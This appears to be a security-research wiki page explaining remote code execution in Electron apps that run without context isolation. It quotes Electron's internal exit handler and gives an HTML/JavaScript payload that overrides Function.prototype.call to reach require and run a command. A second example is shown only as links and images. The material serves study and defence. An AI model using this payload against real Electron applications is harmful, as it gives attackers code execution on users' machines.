# Electron contextIsolation RCE via Electron internal code

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## Example 1

Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)

"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:

```javascript
process.on("exit", function () {
  for (let p in cachedArchives) {
    if (!hasProp.call(cachedArchives, p)) continue
    cachedArchives[p].destroy()
  }
})
```


{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}

![](<../../../images/image (1070).png>)

https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists

Then it goes here:

![](<../../../images/image (793).png>)

Where "self" is Node's process object:

![](<../../../images/image (700).png>)

The process object has a references to "require" function:

```
process.mainModule.require
```

As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:

```html
<script>
  Function.prototype.call = function (process) {
    process.mainModule.require("child_process").execSync("calc")
  }
  location.reload() //Trigger the "exit" event
</script>
```

## Example 2

Get **require object from prototype pollution**. From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)

Leak:

<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>

Exploit:

<figure><img src="../../../images/image (89).png" alt=""><figcaption></figcaption></figure>

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